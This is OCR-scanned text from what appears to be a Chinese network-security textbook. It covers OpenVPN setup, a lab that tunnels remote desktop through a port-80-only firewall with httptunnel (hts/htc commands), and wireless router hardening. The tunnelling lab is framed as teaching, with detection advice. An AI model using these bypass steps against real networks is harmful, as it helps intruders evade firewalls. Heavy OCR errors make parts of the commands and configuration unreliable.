第 6 步 : 创建 服务 器 的 证 书 和 密 钥 ,如 图 5-109 所 示 。 执 行 #. /build-key-server server 
命令 ,Common Name 必须 填写 为 server, 其 余 默认 即 可 。 


rootSlocalhost/ete 
lrooteiocaihost easy-rsa]# ./build-key-server server 
Generating a 1024 bit RSA private key 

mu 

writing new private key to server.key^ 


You are about to be asked to enter information that will be incorporated 
into your certificate request. 

What you are about to enter is what is called a Distinguished Namo or a DX.| 
There are quite a fem fields but you can leave sone blank 

For sono fiolds thoro vill bo a dofault valuo, 

IF you enter '.', the field will be left blank 


Country Name (2 tatter code) [CN]: 

State or Province Nave (fult nane) [IN]: 

Locality Nane (og, city) [Xx]: 

Organization Name (eg, company) [TEST]: 

Organizational Unit Nane (eg, section) []: 

Common Name (og, your namo or your servor's hostnamo) [] :sorver 
Email Address [jsjoscpus163.con]: 


图 5-109 ”创建 服务 器 的 证 书 和 密 钥 


第 7 步 : 创建 客户 端的 证 书 和 密 钥 ,如 图 5-110 和 图 5-111 所 示 。 执 行 #. /build-key 
clientl 命令 ,Common Name 对 应 填写 为 clientl .其 余 默 认 即 可 。 


[root@localhost easy-rsa]* ./build-key clienti 
Generating a 1024 bit RSA private key 
HH 


writing new private key to "clientl.key" 


You are about to be asked to enter information that will be incorporated 
into your certificate request. 

What vou are about to enter is what is called a Distinguished Name or a DN. 
There are quite a few fields but you can leave sore blank 

For some fields there will be a default valve, 

If you entor ".', the field will bo loft blank. 


Country Name (2 letter code) [cs]: 

State or Province Nane (full name) [HX]: 

Locality Name (eg, city) [Xx]: 

Organization Nane (eg. company) [TEST]: 

Organizational Unit Name (eg, section) []: 

Common Name (eg. your name cr your server's hostnane) []:ciientl 
Email Addross [jszoscpua163.con]: 


图 5-110 创建 客户 端的 证 书 和 密 钥 (1) 
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alhozt/ate/openvpn/eazy-rza 


Flease enter the following 'extra' attributes 

to be sent with your certificate request 

A challenge password []:123456 

Am optional company name []:jsj 

Using configuration from /otc/cponvpn/eacy-rea/cporssl.cnf 
Check that tho request matches tho signature 

Signature ok 

The Subject's Distinguished Name is as follows 
countryNane 

stateOrFrovinceNane 
localityNane 
organizationNane 
connonNano 
onailhddross 
Certificato is to be certified unt. 
Sign the certificate? [y/n]:y 


2 LASSIRING: "dsjoscpu6163-com 


ar 15 08:36:38 2018 GWT (3650 days) 


1 out ef 1 certificate requests certified, commit? |y/nly 
Write out database with 1 new entries 

Data Base Updated 

[rootélccalkost sasy-rsa] $ 


图 5-111 创建 客户 端的 证 书 和 密 钥 (2) 


如 果 创 建 第 二 个 客户 端 , 则 执行 #. /build-key client2 命令 ,Common Name 对 应 填写 
为 client2。clientl 和 client2 是 今后 识别 客户 端的 标识 。 

第 8 步 : 创建 Diffie Hellman 参数 ,如 图 5-112 所 示 。 执 行 #. /build-dh 命令 。Diffie 
Hellman 用 于 增强 安全 性 ,在 OpenVPN 是 必须 的 ,创建 过 程 所 用 时 间 比 较 长 ,时 间 长 短 由 
vars 文件 中 的 KEY_SIZE 决定 。 


EE PEE N TAA 


[rootéiocalhost easy-rsa]# ./build-dh 
Generating DH parameters, 1024 bit long safe prime, generator 2 
This is going to take a long time 


[rootelocalhost easy-rsa]* li 


图 5-112 创建 Diffie Hellman 参数 


第 9 步 : 修改 配置 文件 server. conf. 


## 号 和 ;号 开头 的 是 注释 

# 设 置 监听 IP 

local 192.168.10.8 

# 设 置 监听 端口 ,必须 要 对 应 地 在 防火 墙 里 面 打 开 

Port 1234 

# 设 置 用 TCP 还 是 UDP 协议 

proto udp 

# 设 置 创建 tm 的 路 由 下 通道 ,路 由 下 容易 控制 

dev tun 

# 这 里 是 重点 ,必须 指定 SSL/TLS root certificate (ca) 

# Certificate (cert), and private key (key) 

ca ./easy- rsa/keys/ca.crt 

cert ./easy- rsa/keys/server.crt. 

key ./easy- rsa/keys/server.key 

# 指 定 Diffie hellman parameters 

dh ./easy- rsa/keys/dh1024.pem 

# 配 置 VEN 使 用 的 网 段 ,OpenVEN 会 自动 提供 基于 该 网 段 的 DHCP 
# 服 务 ,但 不 能 和 任何 一 方 的 局 域 网 段 重 复 ,以 保证 唯一 性 
Server 10.10.0.0 255.255.255.0 

# 维 持 一 个 客户 端 和 virtual 耳 的 对 应 表 , 以 方便 客户 端 重新 连接 时 可 以 获得 同样 的 TP 


ey 
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ifconfig- pool- persist ipp.txt 

# 为 客户 端 创建 对 应 的 路 由 ,以 令 其 通达 公司 网 内 部 服务 器 

# 但 记 住 ,公司 网 内 部 服务 器 也 需要 有 可 用 路 由 返回 到 客户 端 
push "route 123.5.0.0 255.255.0.0" 

# 默 认 客户 端 之 间 是 不 能 直接 通信 的 ,除非 把 下 面 的 语句 注释 掉 
client- to- client 

# 设 置 服务 端 检测 的 间隔 和 超时 时 间 


keepalive 10 120 
# 使 用 1zo 压 缩 的 通信 ,服务 端 和 客户 端 都 必须 配置 
Comp- 1zo 


# The persist options will try to avoid accessing certain resources on restart 
# that may no longer be accessible because of the privilege downgrade. 
persist- key 

persist- tun 

# 输 出 短 日 志 , 每 分 钟 刷新 一 次 ,以 显示 当前 的 客户 端 

status /var/log/openvpn/openvpn- status.log 


第 10 步 : 启动 openvpn, $AÍT # openvpn—config server. conf 命令 ,如 图 5-113 Br 。 


Pot eo 

[reotélecalhost openvpn]# openvpn 一 config server.conf 

Mon Nar 17 18:20:49 2008 OpenVPN 2.0.9 i686-pc-linux [SSL] [L120] [EPOLL] built on Mar 17 2008 
Mon Mar 17 18:20:49 2008 MANAGEMENT: TCP Socket listening on 127.0.0.1:7505 

Mon Nar 17 18:20:49 2008 Note: cannot open /var/log/openvpn/openvpn-status.log for WRITE 

Mon Mar 17 1 0 2008 Diffie-Hellman initialized with 1024 bit key 

Mon Mar 17 1 0 2008 ILS-Auth MIU parns [ L:1542 D:138 EF:38 EB:0 EI:0 EL:0 ] 

Mon Mar 17 1 0 2008 TUN/TAP device tun0 opened 

Mon Mar 17 18:20:50 2008 /sbin/ifconfig tun0 10.10.0.1 pointopoint 10.10.0.2 mtu 1500 

Mon Mar 17 18:20:50 2008 /cbin/routo add -not 10.10.0.0 notmack 255.255.255.0 gw 10.10.0.2 
Mon Mar 17 18:20:50 2008 Data Channel WTU paras | L:1542 D:1480 EF:42 EB:135 ET:0 EL:0 AF:3/1 ] 


图 5-113 启动 openvpn 


3. 在 Windows 2003 server SP2 上 安装 客户 端的 过 程 


第 1 步 : 安装 OpenVPN GUI for Windows, TE http://www. openvpn. se/download. 
html 下 载 OpenVPN GUI for Windows, 然 后 安装 。 
第 2 步 : 复制 文件 。 将 VPN 服务 器 上 的 ca. crt clientl. crt 和 clientl. key 这 3 个 文件 


复制 到 客户 端的 C:\Program Files\OpenVPN\config X = - 
件 夹 中 。 EST) Wc cu MAV dx) Mio 


第 3 步 : 编辑 client. ovpn 文件 。 编 辑 C:\Program ses) spia Le. 3 


pa a TRUST 
Files\OpenVPN\ config V client. ovpn 文件 ,内 容 如 图 5-114 proto udp 地 址 和 端口 号 
所 示 emote 192.168.10.8 1234 
ZN o 


ca ca. crt 


第 4 步 : 建立 VPN 通道 。 如 图 5-115 所 示 AHA || entem 


key clientl,key 


圈 中 的 图 标 ,然后 选择 Connect 命令 ,弹出 如 图 5-116 所 | 和 sss 


nobind 


示 的 对 话 框 ,输入 用 户 名 和 密码 , 单 击 OK 按钮 ,如 果 不 | persister 
出 意外 ,将 建立 VPN 通道 ,图 5-117 中 圆圈 中 的 图 标 由 Lo? 
红色 变 为 绿色 。 图 5-114 编辑 client, ovpn 文件 


第 5 步 : 查看 VPN 客户 端 IP 地 址 。 如 图 5-118 所 


示 , 在 VPN 客户 端 使 用 ipconfig 命令 .可 以 看 到 VPN 通道 已 经 建立 ,获得 的 IP 地 址 是 
10. 10.0. 6, 
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Disconnect 
Show Status 


View Log 
Edit Config 


Change Password Open¥PE - User Authenticati 
Usemame: [cient 


i 右键 单 击 该 图 标 ， 
Proxy Settings metikan 


About 


Connect 
Disconnect 
Show Status 


View Log 

Edit Config 

Change Password 

Proxy SettfOpenVPN GUT 
Connected to: client 


About Connected since: Mar 17, 18:46 
Exit Assigned IP: 10. 10.0.6 


pem J SAGA 16:7 
图 5-117 图标 颜色 图 5-118 查看 VPN 客户 端 IP 地 址 


第 6 步 : 查看 VPN 服务 器 端 IP 地 址 。 如 图 5-119 所 示 ,在 VPN 服务 器 端 使 用 ifconfig 
命令 ,可 以 看 到 VPN 通道 已 经 建立 ,获得 的 IP 地 址 是 10. 10.0. 1 。 


TootGloralhost— 


tuno Link encap:UNSPEC HWaddr 00-00-00-00-00—00—00—00-00-00-00-00—00—00-00-00 
inet addr:10.10.0.1 P-t-P:10.10.0.2 Mask:255.255.255.255 
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:l 
RX packets:0 errors:0 dropped:0 overruns:O frame:0 
TX packets:3 errors:0 dropped:0 overruns:0 carrier:O 
collisions:0 txqueuelen:100 
RX bytes:0 (0.0 b) TX bytes:252 (252.0 b) 


图 5-119 查看 VPN 服务 器 端 LP 地 址 


第 7 步 : 测试 。 
5.13 实例: httptunnel 技术 


1. httptunnel 技术 


任何 防火 墙 都 不 可 能 把 所 有 的 端口 都 封闭 ,至 少 要 开放 一 个 端口 和 服务 (比如 80 端口 ， 
HTTP) ,只 要 开放 了 端口 和 服务 ,就 有 渗透 的 可 能 。 

如 图 5-120 所 示 , 防 火 墙 只 允许 外 网 通过 80 端口 访问 内 网 ,如 果 内 网 一 台 计 算 机 的 
3389 端口 开放 , 入 侵 者 想 连 接 该 计算 机 的 3389 端口 ,该 怎么 办 呢 ? 此 时 可 以 使 用 
httptunnel 技术 。 
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只 允许 外 网 通过 
80 端 口 访问 内 网 


安装 hts.exe 和 
cygwinl.dll 


安装 htc.exe fil 
cygwinl.dll 
«a B 


Windows Linux Windows 


入 侵 者 (X) 网 关 防火 墙 被 入 侵 者 Y) 
图 5-120 httptunnel 技术 应 用 示意 图 


httptunnel 技术 也 称 为 隧道 技术 ,是 一 种 绕 过 防火 墙 端口 屏蔽 的 通信 方式 。 

httptunnel 原理 : 在 防火 墙 两 边 的 主机 上 都 有 一 个 转换 程序 ,将 原来 需要 发 送 或 接受 
的 数据 包 封 装 成 HTTP 请 求 的 格式 骗 过 防火 墙 , 当 被 封装 的 数据 包 穿 过 防火 墙 到 达 对 方 
时 ,再 由 转换 程序 将 数据 包 还 原 ,然后 将 还 原 的 数据 包 交 给 相应 的 服务 程序 。 由 此 可 知 , 攻 
击 者 可 以 利用 这 种 技术 实现 远程 控制 。 

如 图 5-120 所 示 ,X 主机 在 防火 墙 的 外 面 ,没有 做 任何 限制 。Y 主机 在 防火 墙 内 部 , 受 
到 防火 墙 保护 ,防火 墙 配置 的 访问 控制 原则 是 只 允许 80 端口 的 数据 包 进出 ,但 主机 开放 了 
3389 端口 (远程 终端 服务 )。 现 在 假设 需要 从 X 系统 远程 登录 到 Y 系统 上 去 ,思路 如 下 : 在 
X 机 器 上 运行 httptunnel 客户 端 ,让 它 侦 听 本 机 的 一 个 不 被 使 用 的 任意 指定 端口 (最 好 是 在 
1024 以 上 65535 DA FO ,如 8888 端口 。 同 时 将 来 自 8888 端口 上 的 数据 包 发 送 给 Y 机 的 
80 端口 ,因为 是 80 端口 ,防火 墙 是 允许 通过 的 。 数 据 包 到 达 Y 机 后 ,由 运行 在 Y 机 的 
httptunnel 服务 端 (在 80 端口 监听 ) 接 收 并 且 进 行 处 理 ,然后 将 数据 包 交 给 在 3389 端口 监 
听 的 服务 程序 。 当 Y 机 需要 将 数据 包 发 送 给 X 机 时 ,将 从 80 端口 回 送 ,同样 可 以 顺利 通过 
防火 墙 。 

httptunnel 的 官方 网 站 是 http://www. http-tunnel. com, 


2. 实例 : 通过 httptunnel 技术 进行 入 侵 
实验 环境 如 图 5-121 所 示 。 


安装 hts.exe 和 安装 htc.exe 和 
cygwinl.dll cygwinl.dll 


Windows 2003 Windows XP 
图 5-121 实验 环境 


192.168.10.1 192.168.10.5 


第 1 步 : 下 载 并 安装 httptunnel 程序 。 在 http://www. neophob. com/files/httptunnel- 
3.3w32. zip FAX httptunnel 程序 ,其 中 包含 3 个 文件 : htc. exeChttp tunnel client, 也 就 是 
客户 端 ) .hts. exeChttp tunnel server, 也 就 是 服务 器 端 ) 和 cygwin1. dl1( 一 个 动态 链接 库 ) 。 
hts. exe 是 服务 器 端 , 安 装 在 被 人 侵 计算 机 中 ;htc. exe 是 客户 端 ,安装 在 入 侵 者 计算 机 中 。 

第 2 步 : 启动 服务 器 端 程序 。 

将 hts. exe 复制 到 C:\Documents and Settings\ Administrator 目录 下 面 。 

将 cygwinl. dll 复制 到 C:\WINDOWS\system32 目录 下 面 。 
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如 果 本 台 计 算 机 的 IIS 已 经 启动 , 则 先 将 其 关闭 。 

如 图 5-122 所 示 ,执行 hts -F localhost:3389 80 命令 ,该 命令 的 含义 是 本 机 3389 端口 
发 出 去 的 数据 全 部 通过 80 端口 中 转 一 下 ,80 为 hts 监听 的 端口 ,3389 是 入 侵 者 要 连接 的 端 
口 。 然 后 执行 netstat -an 命令 ,发现 80 端口 已 经 处 于 监听 状态 。 


F localhost:3389 80 


图 5-122 启动 服务 器 端 程序 


第 3 步 : 执行 客户 端 程序 。 入 侵 者 在 自己 的 计算 机 中 执行 hte -F 6789 192. 168. 10.1: 
80, 如 图 5-123 所 示 。 其 中 hte 是 客户 端 程序 ,参数 -F 表示 将 来 自 本 机 6789 端口 的 数据 全 
部 转发 到 192. 168. 10. 1:80 ,这 个 端口 (6789) 可 以 随便 选 ,只 要 本 机 目前 没有 使 用 即 可 。 然 
后 执行 netstat -an 命令 ,发 现 6789 端口 已 经 处 于 监听 状态 。 


BEE 该 命令 提示 符 窗口 在 后 续 实验 过 程 中 不 要 关闭 。 
第 4 步 : 打开 【远程 桌面 连接 对话 框 。 入 
侵 者 在 自己 的 计算 机 中 打开 [运行 ] 对 话 框 , 输 
入 mstsc 命令 ,打开 【远程 桌面 连接 ] 对 话 框 ， 
如 图 5-124 所 示 , 输 入 127. 0. 0. 1:6789 , 单 击 | uan 
【连接 按钮 ,如 果 不 出 意外 ,将 出 现 如 图 5-125 Con) C —) (C995 ) (ER 77) 


所 示 的 登录 窗口 ,此 时 表明 成 功 地 穿越 了 防 
火 墙 图 5-124 【远程 桌面 连接 对 话 框 


127.0.0.1:6769 


3. httptunnel 带 来 的 安全 问题 


在 前 面 的 实例 中 ,通过 httptunnel 技术 成 功 和 人 侵 了 一 台 计 算 机 (通过 80 端口 ) ,这 是 一 
个 值得 思考 的 网 络 安全 问题 ,因为 从 中 可 以 看 到 要 想 保障 网 络 安全 ,仅仅 依靠 某 ( 几 ) 种 技术 
手段 是 不 可 靠 的 ,所 以 网 络 管理 员 不 要 过 分 依赖 防火 墙 。 

对 于 利用 httptunnel 技术 进行 的 入 侵 , 可 以 使 用 应 用 层 的 数据 包 检 测 技术 来 发 现 ,因为 
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Æ 127- 0. 0. 1: 6789 一 MARM 


和 登录 到 Windows 


了 Windows Server2003 


Enterprise Edition 


图 5-125 远程 系统 登录 窗口 


在 正常 的 HTTP 请 求 中 必定 包含 GET 或 POST 等 行为 。 如 果 来 自 一 个 连接 的 HTTP 请 
求 中 总 是 没有 GET 或 POST, 那 么 这 个 连接 一 定 有 问题 ,因此 必须 终止 该 连接 。 现 在 市 面 
上 已 经 出 现 了 能 够 查 出 隐藏 在 HTTP 中 tunnel 的 IDS。 


5.14 实例 : 无 线 网 络 安全 配置 


1. 一 个 简单 的 案例 


某 人 在 自己 家 的 客厅 里 用 笔记 本 电脑 无 线 上 网 时 ,发 现 速度 比 在 书房 (AP 放 在 书房 ) 
的 速度 要 快 ,这 是 为 什么 呢 ? 

原来 此 人 在 客厅 无 线 上 网 时 是 通过 邻居 家 的 AP, 并 且 邻 居家 的 无 线 网 络 没有 采取 加 
密 手 段 ,不 过 这 个 例子 纯 属 巧合 。 


2. 实例 : 无 线 网 络 安全 配置 
实验 环境 如 图 5-126 所 示 。 


8 135. 在 桌面 右 击 [ 网 上 邻居 J] 图标, 选择 [属性 】 (c) 
命令 ,打开 [网 络 连接 ] 窗 口 ,然后 右 击 [本 地 连接 ] 图 À qs 
Js ,选择 [属性 命令, 打开 【本 地 连接 属性 ] 对 话 框 , 然 。TpLink 路 由 器 Windows XP 
后 在 【常规 选项 卡 里 双击 【Internet BR CTCP/IP)]3& — 192.168.1.1 192.168.1.22 
项 ,弹出 [Internet 协议 (TCP/IP) 属 性 ] 对 话 框 .设置 静态 图 5-126 实验 环境 


IP 地 址 为 192. 168. 1. 22。 

第 2 步 : 打开 IE 浏览 器 ,在 地 址 栏 中 输入 192.168.1.1, 按 Enter 键 。 在 弹出 的 对 话 框 
中 输入 用 户 名 和 密码 ,默认 的 用 户 名 和 密码 都 是 admin。 单 击 【 确 定 了 按钮 ,出 现 路 由 器 的 界 
面 ,选择 【设置 向 导 】 选 项 , 单 击 [ 下 一 步 ] 按 钮 .出现 如 图 5-127 所 示 的 界面 。 

第 3 步 : 在 图 5-127 中 ,选择 PPPoE 单 选 按钮 读者 可 以 根据 自己 的 网 络 情况 ,在 3 个 
选项 中 选择 其 一 。 单 击 【[ 下 一 步 j 按 钮 出现 如 图 5-128 所 示 的 界面 ,输入 ADSL 上 网 账号 和 
密码 (安装 宽带 时 ,工作 人 员 给 的 账号 和 密码 )。 单 击 【 下 一 步 3 按 钮 ,出现 如 图 5-129 所 示 的 
界面 。 
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第 4 步 : 在 图 5-129 中 ,更 改 SSID 号 为 ZTG-WLAN。 在 模式 下 拉 列 表 框 中 选择 自己 
的 无 线 网 卡 模式 (如 802. 11b,802. 11g 等 ,根据 自己 的 情况 而 定 )。 现 在 的 路 由 器 兼容 
802.11b,802. 11g。 单 击 【下 一 步 ] 按 钮 .出现 如 图 5-130 所 示 的 界面 。 
Z TP-LINK - Microsoft Internet Explorer 
XQ) REO SEV KEW IRW WR 


Om- O- HidÓ P» oeb 回 -本 


iit W (Æ) http://192. 168.1. 1/ 


本 向 导 提供 三 种 最 常见 的 上 同方 式 供 选择 。 若 为 其 好 上 网 方式 ， 请 点 击 左 侧 “网 
BSD” p "ranem" ig. 

[Obra casus » 

OREP UKARAE, BRA FII STEEP 

OBEP ( 以 大 网 宽带 , FAIRE EPIIT L ) 


图 5-127 设置 向 导 


请 在 下 框 中 填 入 网 络 服务 商 提 供 的 ADPSL 上 网 帐号 及 口令 ,如 遗 丰 请 咨询 网 络 
nsn. 


上 网 帐号 : 
mne: 


图 5-128 输入 ADSL 上 网 账号 和 密码 


本 疝 导 页 面 设置 路 由 器 无 贱 网 络 的 基本 参数 
无 线 状态 : 开局 图 


ssm: ET 
信道 : 自动 选 译 国 | 
模式 : S4Mbps (BO2.11g) M 


图 5-129 更 改 SSID 号 和 模式 


本 向 导 页 面 设置 路 由 器 无 线 安 全 。 为 保障 网 络 安全 ,强烈 推荐 开局 无 线 安全 ,并 使 用 
WPA-PSK/WPA2-PSK AES 加 密 方式 。 
O 不 开局 无 吉安 全 
O 开局 无 线 安 全 

PEE: 12345678 


注意 : 窗 码 长度 最 短 为 8 个 字符 ， 最 发 为 63 个 字符 。 
* IPSIACPE PE 


图 5-130 设置 PSK 密码 
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UR EX 如 果 自 己 的 网 卡 是 802. 11g, 而 路 由 器 设置 成 802. 11b, 则 无 线 连接 会 
失败 。 


第 5 步 : 在 图 5-130 中 设置 PSK 密码 。 单 击 【 下 一 步 ] 按 钮 ,完成 无 线路 由 器 的 初始 
配置 。 

下 面 的 步骤 是 无 线路 由 器 的 安全 设置 。 

第 6 步 : 在 图 5-131 中 ,选择 【网 络 参 数 ] 人 KMAC 地 址 克隆 选项 ,在 右边 单 击 【克隆 
MAC 地 址 ] 按 钮 ,然后 单 击 【 保 存 ] 按 钮 。 这 样 只 有 通过 自己 的 计算 机 才能 对 无 线路 由 器 进 
行 管理 ,确保 了 无 线路 由 器 的 安全 。 


本 页 设置 路 由 器 对 广域网 和 MAC 地 址 。 


mc iit: [D8-5D-4C-3T-DC-FP 
当前 营 理 PC 的 MAC 地 址 : 


La] 
图 5-131 MAC 地 址 克隆 


第 7 步 : 在 图 5-132 中 ,选择 【无 线 参 数 】I【 基 本 设置 选项 ,在 右边 取消 选中 【允许 
SSID 广播 ] 复 选 框 ,其 他 设置 如 图 5-132 所 示 ,然后 单 击 【 保 存 ] 按 钮 。 


smg: ED 
AB: 自动 选择 e 
ax: S4Mbps (802 11g) m 


开局 无 规 功 能 
E] stirssror 3 


O 开局 Bridge 功能 


强烈 推荐 开启 安全 设置 ,并 使 用 


E 开局 安全 设置 

安全 类 到 : WPA-PSK/WPA2-PSK 图 

安全 选项 : Bb v 

messi: ARS ~ 

PSE : 景 短 为 8 个 字符 ,最 长 为 63 个 字符 


组 寥 钥 更 新 周期 : [85400 (单位 为 秘 , 最 小 值 为 30, 不 更 新 则 为 0) 


1345878 | 


prz) Fa 
Z| 5-132 ”基本 设置 


第 8 步 : 在 图 5-133 中 ,选择 [DHCP JR A881 EDHCP 服务 选项 ,如 果 局 域 网 较 小 , 建 
议 关 闭 DHCP 服务 ,给 每 台 计算 机 设置 静态 IP 地 址 。 如 果 局 域 网 规模 较 大 ,可 以 启动 
DHCP 服务 ,不 过 一 定 要 安全 设置 无 线路 由 器 。 

第 9 步 : 在 图 5-134 中 ,选择 [安全 设置 】I【 防 火 墙 设置 3 选项 ,选中 [开启 防火 墙 【开启 
IP 地 址 过 滤 】 【开启 域 名 过 滤 】【 开 启 MAC SEE M 个 复 选 框 ,读者 可 以 根据 自己 网 络 
的 具体 情况 进行 选择 ,然后 单 击 【 保 存 ] 按 钮 。 
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DHCP 服 务 
本 系统 内 建 DHCF 服 务 器 ， 它 能 自动 莹 您 配置 局 域 网 中 各 计算 机 的 TCP/IF 协 
DHCP 服 务 器 : O 〇 不 B 用 OBR 
地 址 池 开 始 地 址 : 。 [192. 168. 1. 100 
- 地 址 池 结 束 地 址 : — 192.168. 1. 199. 
pev 地 址 租 期 : 120 ] 39 C 126605399 , Me 2512023999) 
+ 转发 规则 网 关 : 0.0.0.0 (m 
缺 省 域名 : Cant» 
主 DNS 服 务 器 : 0-0.0.0 (可 选 ? 
备用 DNS 服务 器 : [0.0.0.0 Can» 
E7] [€ &] 


图 5-133 DHCP 服务 


防火 墙 设置 


本 页 对 防火 墙 的 各 个 过 涛 功能 的 开局 与 关闭 进行 设置 。 只 有 防火 墙 的 总 开关 是 开局 的 时 候 ， 后 续 的 
ern&ibdu". "Mene". “MBENE”. “SURNE” 才能 3 生效 ,友之 ， 则 
失效 。 

dene 开 让 防火墙 ( 防火 地 的 总 开关 )) 
Renn Eis rideau 

BDNE 

〇 、 及 是 不 符合 已 设 人 ?地址 过 湾 规 则 的 数据 包 ， 允 许 通 过 本 路 由 器 
O ”凡是 不 符合 已 设 Tf 地址 过 湾 规 则 的 数据 包 ， 禁止 通 过 本 路 由 器 


回 开启 域名 过 小 
回 开局 MC 地 址 过 小 
Mae 
O tUtirgramcibiXR mh E BARMA Internet 
© ”禁止 已 设 MAC 地 址 列表 中 已 启用 的 MAC 地 址 访问 Internet ,人 允许 其 邮 MAC 地 址 访问 Internet 


kaa] 
图 5-134 防火 墙 设置 


第 10 步 : 在 图 5-135 中 ,选择 [安全 设置 了 人 KIP 地 址 过 滤 〗 选 项 , 单 击 【 添 加 新 条 目 按 钮 
来 添加 过 滤 规 则 。 


下 地址 过 涛 


以 下 列表 为 已 设 的 IF 地 址 过 涛 列表 。 悠 可 以 利用 控 钮 一 一 “添加 新 条 目 ” 来 增加 新 的 过 小 规则 ; 或 者 通过 “ 编 
48". "Hpe" SERCEMECTSCPRIEROXTUE NR ; 其 至 可 以 通过 近 钮 一 一 “移动 ”来 调整 各 条 过 沽 规则 的 顺序 ， 以 


达到 不 同 的 过 小 忧 先 级 。 

防火 墙 相关 设置 ( 加 项 更 改 ,请 到 “安全 设置 ”一 “防火 墙 设置 ”) 

防火 墙 功能 : 开局 

了 f 地 址 过 小 功能 : FB 

MPNA : 凡是 不 符合 已 设 IT 地 址 过 涛 规则 8 数据 包 ， 某 止 通 过 本 路 由 器 

m| 生效 时 间 RARIGI So [Aee «cuj: 状态 | ”配置 
[1 [0000-2400 | 192.168.1.50-192.168 1.60 [1000-1100 |  - |- puL|F EAA 


ELEI 全 也 有 条 目 生效 “| | EFAFBAA || ERFARE 
[£9] »[ ]ssm[ ]& 


图 5-135 IP 地 址 过 滤 
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88 11 步 : 在 图 5-136 中 ,选择 【安全 设置 了 人 域名 过 滤 3 选 项 , 单 击 【 添 加 新 条 目 ] 按 钮 来 
添加 过 滤 规 则 。 


本 页 通过 域名 过 小 来 限制 局 域 网 中 的 计算 机 对 某 些 网 站 的 访问 。 


防火 墙 相关 设置 ( 如 需 更 疏 ,请 到 “安全 设置 ”一 “防火 墙 设置 ”) 

防火 墙 功 能 : 3B 

域名 过 涛 功能 : 开启 

MEAM : ARROCES TERNAR GR LETTERE RS HR. 


ID 生效 时 间 域名 状态 配置 
1 | 0000-2400 xxx com 生效 | 编辑 BER 


EAEE 便 所 有 条 目 生效 便 所 有 条 目 失效 LLERA] 
pr 


图 5-136 ”域名 过 滤 


第 12 步 : 在 图 5-137 中 ,选择 【安全 设置 了 区 MAC 地 址 过 滤 】 选 项 , 单 击 【 添 加 新 条 目 】 
按钮 来 添加 过 滤 规 则 。 


«iSt wcHibrne 
本 页 通过 MAC 地 址 过 湖 来 控制 局 域 网 中 计算 机 对 Internet 的 访问 。 
防火 墙根 关 设置 ( 如 需 更 , i88] “安全 设置 " - “防火 墙 设置 ”) 
enonsa 防火 墙 功能 : 开局 
AUT wchipine: ”开启 
- BANER : 禁止 列表 中 已 启用 的 MAC 地 址 访问 Internet ,允许 其 地 MAC 地 址 
访问 Internet 
m INC 地址 LES 状态 配置 
1 10-22-53-44-55-66 E [CENE 3 7] 
[mH || 便 所 有 条 目 生 效 || S WEHxu || BERENEH 
[p] 


图 5-137 MAC 地 址 过 滤 


第 13 步 : 在 图 5-138 中 ,选择 【安全 设置 】 代 远 端 WEB 管理 ] 选 项 ,设置 [WEB 管理 端 
HY; 8888 ,增加 了 路 由 器 的 安全 性 ,然后 单 击 【保存 了 按钮 。 


本 页 设置 路 由 器 的 WE 管理 端口 和 广域网 中 可 以 执行 远 端 EB 管理 的 计算 机 的 
Irbit. 
+ DHCF 服 务 


+ 转发 规则 注意 : ”1、 跑 由 器 默认 的 WEB 管 理 端口 为 0 ,加 果 修改 变 了 默认 的 WEB 管 理 
RAC C 例如 改 为 8080 ,推荐 修改 为 1024 以 后 的 端口 ， 以 免 与 知名 端 
denm 口 冲突 )， 则 您 必须 用 “I? 地 址 :请 口 ”的 方式 5 例如 

- http: //182. 168. 1. 1:8060) 才能 登录 路 由 器 执行 YEB 界 面 符 理 。 此 
* 王 地 址 过 小 功能 需要 重启 路 由 器 才能 生效 。 
E 2、 路 由 器 默认 的 远 庙 YE8 管 理 IF 地 址 为 0.0. 0.0， 在 此 默认 状态 
To 广域网 中 所 有 计算 机 都 不 能 登录 路 由 器 执行 远 端 YEE 管 理 ， 如 
RZE T RUMENE EIP € 例如 改 为 202. 9. 12.8) ， 
则 广域网 中 只 有 具有 指定 IF 地 址 ( 例如 202. 96 12.8) 的 计算 机 才 
能 登录 路 由 器 执行 远 端 YE 管理 。 如 果 格 远 端 YE8 管 理 IF 地 址 设 为 
255. 255. 255.255, 那么， 广域网 中 所 有 的 计算 机 都 可 以 登录 路 由 
SAMIS. 


= 安全 设置 


5 管理 庙 口 : [8686 
远 端 EB 管理 TP 地 址 : 0.0.0.0 
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第 14 步 : 在 图 5-139 中 ,选择 [安全 设置 】 代 高 级 安全 设置 选项 ,设置 如 图 5-139 所 示 ， 
然后 单 击 【保存 按钮 。 


本 页 设置 高 邮 安 全 防范 配置 。 只 有 当 “DOs 攻 击 防范 ”启用 的 时 候 ,其 后 面 
的 设置 才能 够 生效 。《 注意 : 这 里 的 “数据 包 统计 时 间 间 隔 ” 与 “系统 工 
具 ” 一 “流量 统计 ”中 的 “数据 包 统 计时 间 间 隔 ” 为 同一 值 ， 无 论 在 哪 一 个 
积 块 进行 修改 都 会 覆盖 另 一 模块 星 的 米 值 ，) 

另外 : 由 于 “DeS 攻 击 防范 ”的 部 分 功能 是 以 相关 数据 包 的 统计 为 依据 的 ， 
Elit, 如果“ 系统 工具 ”- “流量 统计 ”中 的 流量 统计 功能 被 关闭 ,那么 将 
会 导 到 这 部 分 功能 失效 ， 同 时 该 功能 还 受 “ 防 火 墙 设置 ”中 的 “开局 防火 


38" MAA. 

数 釉 包 统计 时 间 间 隔 : (5~60) oHe 
Dos 攻击 防范 : 〇 不 局 用 OBR 
开局 ICWP-FLD0D 玫 击 过 小 : 口 
ICNP-PLOODEMR HUE : ( 57-3600) [so 包 / 秒 
开局 wp-rLOon 过 源 : 口 
DP-FE: (5~3800》 — [50 ] a 
开局 TCP-SYN-FLD0D 攻 击 过 小: 口 
TCP-ST-FUXDÉUR SWR : € 5~3800) [50] 包 / 秒 
RE BTANDBDE in: 回 

禁止 来 自 LD 的 Ping 包 通过 路由 器 : — [] 


EE [W 5] | 005 WESEERUUR 
图 5-139 高 级 安全 设置 


第 15 步 : 在 图 5-140 中 ,选择 [IP 与 MAC 绑 定 】 代 静态 ARP 绑 定 设置 3 选项 ,选择 
【启用 了 单 选 按钮 , 单 击 【保存 按钮。 单 击 【增加 单个 条 目 了 按钮 来 添加 IP 与 MAC 绑 定 。 


本 页 设置 单机 的 MAC 地 址 和 IF 地 址 的 匹配 规则 


ARPEE S O 〇 不 B 用 Cg EE] 


n wc TAIE "x RE 
1 10-11-33-55-77-99 192. 168.1.33 dud BER 


